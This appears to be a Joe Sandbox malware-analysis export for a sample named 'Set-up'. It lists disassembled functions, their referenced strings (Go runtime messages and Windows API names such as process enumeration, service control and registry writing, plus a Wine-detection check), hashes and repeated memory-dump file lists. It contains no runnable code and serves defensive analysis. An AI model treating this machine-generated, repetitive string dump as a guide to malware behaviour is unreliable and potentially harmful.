runtime: type offset base pointer out of rangesignal arrived during external code executionslice bounds out of range [:%x] with length %ystopTheWorld: not stopped (status != _Pgcstop)sysGrow bounds not aligned to pallocChunkBytesx509: failed to parse rfc822Na, xrefs: 00D968A9
not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D967EE
runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version, xrefs: 00D96799, 00D968CC
!, xrefs: 00D9695E
runtime: type offset out of rangescalar has high bit set illegallyslice bounds out of range [%x:%y]stackalloc not on scheduler stackstoplockedm: inconsistent lockingstruct contains unexported fieldstimer period must be non-negativetoo many Answers to pack (>65, xrefs: 00D96955

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: types value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ st$ - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNSTNULNa$ base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHy$ not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory$ out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlS$!$runtime: type offset base pointer out of rangesignal arrived during external code executionslice bounds out of range [:%x] with length %ystopTheWorld: not stopped (status != _Pgcstop)sysGrow bounds not aligned to pallocChunkBytesx509: failed to parse rfc822Na$runtime: type offset out of rangescalar has high bit set illegallyslice bounds out of range [%x:%y]stackalloc not on scheduler stackstoplockedm: inconsistent lockingstruct contains unexported fieldstimer period must be non-negativetoo many Answers to pack (>65$runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version
API String ID: 0-3174700562
Opcode ID: 2bff1f9ed614144f58d81372b5fc181527c892121a6a4087548bb2fefd744491
Instruction ID: a6d8f6557dd1b03b0aa6ece6cdf321c4adcfad7d9574fbffdca7f6ccd42c48db
Opcode Fuzzy Hash: 2bff1f9ed614144f58d81372b5fc181527c892121a6a4087548bb2fefd744491
Instruction Fuzzy Hash: CD81E1B4509705DFD704EF64E085A5ABBE1FB88704F84892DE88887355E7B4E848DB73

Function 00D62590 Relevance: 11.4, Strings: 9, Instructions: 171COMMON

Download Yara Rule

Strings

zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarM, xrefs: 00D627B7
alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHe, xrefs: 00D626FF
, elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayImportDeleteFileWDives_AkuruExitProcessFieldLayoutFreeLib, xrefs: 00D625E7
freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b, xrefs: 00D62611
(bad use of unsafe.Pointer? try -d=checkptr)PE image does not contains a COFF symbol tablebytes.Reader.UnreadByte: at beginning of sliceedwards25519: invalid field element input sizefirst path segment in URL cannot contain coloninvalid e_lfanew value. Probab, xrefs: 00D6263B
marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneifor, xrefs: 00D62751
found pointer to free objectgcBgMarkWorker: mode not setgcstopm: negative nmspinninginvalid P224Element encodinginvalid P384Element encodinginvalid P521Element encodinginvalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sw, xrefs: 00D6285C
runtime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime: unblock on closing polldescruntime: wrong goroutine in newstackryuFtoaFixed64 called with prec > 18strings.Builder.Grow: negative countsyntax e, xrefs: 00D625C5
., xrefs: 00D62644

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: (bad use of unsafe.Pointer? try -d=checkptr)PE image does not contains a COFF symbol tablebytes.Reader.UnreadByte: at beginning of sliceedwards25519: invalid field element input sizefirst path segment in URL cannot contain coloninvalid e_lfanew value. Probab$ alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHe$ freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b$ marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneifor$ zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarM$, elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayImportDeleteFileWDives_AkuruExitProcessFieldLayoutFreeLib$.$found pointer to free objectgcBgMarkWorker: mode not setgcstopm: negative nmspinninginvalid P224Element encodinginvalid P384Element encodinginvalid P521Element encodinginvalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sw$runtime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime: unblock on closing polldescruntime: wrong goroutine in newstackryuFtoaFixed64 called with prec > 18strings.Builder.Grow: negative countsyntax e
API String ID: 0-760742341
Opcode ID: eb4bdaccde81ba6482adfdcf76863df3785cb606b58beaab0a524bdffabdfbae
Instruction ID: e3fd017fb50cdc8fbfad01a0d3532cd697ee6676dd6e3db060fe178e51416984
Opcode Fuzzy Hash: eb4bdaccde81ba6482adfdcf76863df3785cb606b58beaab0a524bdffabdfbae
Instruction Fuzzy Hash: 8271F170509B408FD340EF64D081A2EBBE1EF88744F84895EF8D89B296E7B4D9449B73

Function 00D963C0 Relevance: 11.4, Strings: 9, Instructions: 156COMMON

Download Yara Rule

Strings

base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHy, xrefs: 00D964BF
types value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ st, xrefs: 00D96538
out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlS, xrefs: 00D965F6
- < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNSTNULNa, xrefs: 00D96620
runtime: name offset base pointer out of rangeruntime: panic before malloc heap initializedruntime: text offset base pointer out of rangeruntime: type offset base pointer out of rangesignal arrived during external code executionslice bounds out of range [:%x, xrefs: 00D965A8
runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version, xrefs: 00D96494, 00D965CB
not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D964E9
!, xrefs: 00D9665D
runtime: name offset out of rangeruntime: text offset out of rangeruntime: type offset out of rangescalar has high bit set illegallyslice bounds out of range [%x:%y]stackalloc not on scheduler stackstoplockedm: inconsistent lockingstruct contains unexported fi, xrefs: 00D96654

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: types value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ st$ - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNSTNULNa$ base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHy$ not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory$ out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlS$!$runtime: name offset base pointer out of rangeruntime: panic before malloc heap initializedruntime: text offset base pointer out of rangeruntime: type offset base pointer out of rangesignal arrived during external code executionslice bounds out of range [:%x$runtime: name offset out of rangeruntime: text offset out of rangeruntime: type offset out of rangescalar has high bit set illegallyslice bounds out of range [%x:%y]stackalloc not on scheduler stackstoplockedm: inconsistent lockingstruct contains unexported fi$runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version
API String ID: 0-4105162765
Opcode ID: 1ef91905ea4102f76e8ecddf3e9c2ad6c1bf5d05ed6a098f22a4a07b28ab0ce7
Instruction ID: d664365458dfb6a6ff172691f5f06fea5c17a1f8d005d929b8b4aa1e580ca2be
Opcode Fuzzy Hash: 1ef91905ea4102f76e8ecddf3e9c2ad6c1bf5d05ed6a098f22a4a07b28ab0ce7
Instruction Fuzzy Hash: 5961FFB45097048FD744EF64E08176ABBE1FB88704F85892DE8C887356E7B4E9489B73

Function 00D61170 Relevance: 11.4, Strings: 9, Instructions: 122COMMON

Download Yara Rule

Strings

pacer: sweep done at heap size pattern contains path separatorpkcs7: unsupported algorithm %q : negative cap : negative len : Len of non-array type : NumIn of non-func typeresetspinning: not a spinning mruntime: can, xrefs: 00D6125A
pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMu, xrefs: 00D61328
sweeper left outstanding across sweep generationsx509: Ed25519 key encoded with illegal parametersx509: invalid RDNSequence: invalid attribute typeExport directory contains zero number of functionsGlobal pointer register offset outside of PE imageMust have eit, xrefs: 00D61361
MB during sweep; swept Marquesas Standard TimeMauritius Standard TimeNoncharacter_Code_PointNtSetInformationProcessP224 point not on curveP384 point not on curveP521 point not on curveQueryServiceLockStatusWQyzylorda Standard TimeRegNotifyChangeKeyValueRtlGetN, xrefs: 00D612D8
pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoEx, xrefs: 00D61302
MB; allocated MakeAbsoluteSDModule32FirstWNetUserGetInfoNtResumeThreadOS/2 characterOaBuildVersionOleLoadPictureOpenSCManagerWOther_ID_StartPattern_SyntaxProcess32NextWQuotation_MarkRCodeNameErrorRegSetValueExWSafeArrayRedimSetConsoleModeSetFilePointerSetThrea, xrefs: 00D61291
mismatched begin/end of activeSweepnetwork dropped connection on resetno such multicast network interfacenot a PE file, smaller than tiny PEpersistentalloc: align is too largepidleput: P has non-empty run queue of non-slice typeruntime: close , xrefs: 00D6134B
1, xrefs: 00D6136A
+, xrefs: 00D61209

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoEx$ pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMu$1$MB during sweep; swept Marquesas Standard TimeMauritius Standard TimeNoncharacter_Code_PointNtSetInformationProcessP224 point not on curveP384 point not on curveP521 point not on curveQueryServiceLockStatusWQyzylorda Standard TimeRegNotifyChangeKeyValueRtlGetN$MB; allocated MakeAbsoluteSDModule32FirstWNetUserGetInfoNtResumeThreadOS/2 characterOaBuildVersionOleLoadPictureOpenSCManagerWOther_ID_StartPattern_SyntaxProcess32NextWQuotation_MarkRCodeNameErrorRegSetValueExWSafeArrayRedimSetConsoleModeSetFilePointerSetThrea$mismatched begin/end of activeSweepnetwork dropped connection on resetno such multicast network interfacenot a PE file, smaller than tiny PEpersistentalloc: align is too largepidleput: P has non-empty run queue of non-slice typeruntime: close $pacer: sweep done at heap size pattern contains path separatorpkcs7: unsupported algorithm %q : negative cap : negative len : Len of non-array type : NumIn of non-func typeresetspinning: not a spinning mruntime: can$sweeper left outstanding across sweep generationsx509: Ed25519 key encoded with illegal parametersx509: invalid RDNSequence: invalid attribute typeExport directory contains zero number of functionsGlobal pointer register offset outside of PE imageMust have eit$+
API String ID: 0-1497792539
Opcode ID: 6a07601735f5bcbf736ce17a7e9321d4c442eb607a5168029e6502ec6e5e488a
Instruction ID: 93c523534e94f47195cd1b83d699b0e990ee2ae6283c3d68e498f229178c60a4
Opcode Fuzzy Hash: 6a07601735f5bcbf736ce17a7e9321d4c442eb607a5168029e6502ec6e5e488a
Instruction Fuzzy Hash: F4510FB85097048FC300EF28D08162EBBE1FB88744F858A2EE8D9D7355E774D985DB62

Function 00D5A680 Relevance: 10.4, Strings: 8, Instructions: 447COMMON

Download Yara Rule

Strings

mark - bad statusmarkBits overflownil resource bodyno data availablenotetsleepg on g0permission denied : New(nil) : call of runtime/internal/runtime: level = runtime: nameOff runtime: pointer runti, xrefs: 00D5A958
runtime: gp=runtime: sp=self-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringswintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host nam, xrefs: 00D5A8D5, 00D5ACEB
, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregisterServerEgypt Standard TimeGC work not f, xrefs: 00D5A924, 00D5AD3A, 00D5AE04
can't scan our own stackconnection reset by peerdouble traceGCSweepStartflate: maxBits too largefloating point exceptionfunction not implementedgcDrainN phase incorrecthash of unhashable type initSpan: unaligned baseinvalid argument to Intnlevel 2 not synchron, xrefs: 00D5AC9B
, xrefs: 00D5AD77
scanstack: goroutine not stoppedslice bounds out of range [%x::]slice bounds out of range [:%x:]slice bounds out of range [::%x]software caused connection abortsweep increased allocation counttransform: short internal bufferuse of closed network connectionx509, xrefs: 00D5AD6E
runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussend on closed channelspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected method stepwirep: invalid p statex509: malformed is, xrefs: 00D5ADB5
, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMultaniM, xrefs: 00D5A8FA, 00D5AD10, 00D5ADDA

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
